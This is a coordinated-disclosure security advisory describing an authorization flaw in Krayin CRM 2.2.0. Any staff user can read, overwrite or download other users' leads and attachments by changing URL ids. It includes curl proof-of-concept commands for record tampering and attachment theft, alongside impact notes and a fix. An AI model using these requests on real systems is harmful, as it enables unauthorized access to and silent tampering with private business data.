In Krayin CRM 2.2.0, the DataGrid (list) queries scope results correctly to the requesting staff user via bouncer()->getAuthorizedUserIds(), but the sibling single-object and write endpoints re-fetch by URL id through findOrFail() with no ownership re-check. An authenticated staff user — including the lowest-privilege Sales Rep with view_permission = individual — sees only their own records in the UI, but can read, modify, delete, mass-modify, or download attachments belonging to any other user by incrementing the URL id.
Reproduction
curl -X PUT -H "X-XSRF-TOKEN: $XSRF" -H "X-Requested-With: XMLHttpRequest" -b "$JAR" \
--data-urlencode "title=HIJACKED" \
--data-urlencode "description=IDOR PoC" \
"http://target/admin/leads/edit/1"The DB row's user_id stays at 1 (the original owner), but the title and description are fully attacker-controlled. The original owner sees the modified content as if they had written it themselves.
Attachment exfiltration uses the same primitive:
curl -b "$JAR" -o "victim_contract.pdf" "http://target/admin/activities/download/<id>"In production deployments, activity attachments commonly contain signed contracts, PII exports, and pasted credentials.
Impact
- Confidentiality: full read of every lead, contact, organization, activity note, and activity file attachment in the database via id enumeration.
- Integrity: silent overwrite of any other user's records with the original owner preserved in the audit trail. The author's identity is hidden from any audit log that derives the actor from the row owner.
- Operational: the
QuoteController::mailprimitive sends a target tenant's quote PDF to a recipient address attached to the lead, opening a path for social-engineering against the legitimate prospect.
The threat model is "any authenticated staff user." The CRM's own access-control model — designed around view_permission = individual — does not hold up once the attacker stops clicking and starts typing URLs.
Fix
Replicate the ownership check from LeadController::view() into every write and download method. Example:
$lead = $this->leadRepository->findOrFail($id);
$userIds = bouncer()->getAuthorizedUserIds();
if ($userIds && ! in_array($lead->user_id, $userIds)) abort(403);Better: extract the check into a Laravel Policy (LeadPolicy::manage, ActivityPolicy::download, etc.) or a trait, so new modules and new methods inherit the check by default rather than each controller re-implementing it.
Timeline
- 2026-05-04 — Bug discovered during audit of Krayin CRM 2.2.0. Verified with live PoC on stock Docker install, non-admin Sales Rep account.
- 2026-05-07 — Vendor notified by email with 7-day disclosure deadline.
- 2026-05-16 — Coordinated-disclosure deadline. If no fix or vendor engagement by this point, advisory and CVE submission go public.
Credit
Discovered and reported by Jobyer Ahmed — Offensive Security Researcher.
References
- Krayin CRM repository — https://github.com/krayin/laravel-crm
- CWE-639 — https://cwe.mitre.org/data/definitions/639.html
- CWE-284 — https://cwe.mitre.org/data/definitions/284.html
- OWASP API Security Top 10 — Broken Object Level Authorization — https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/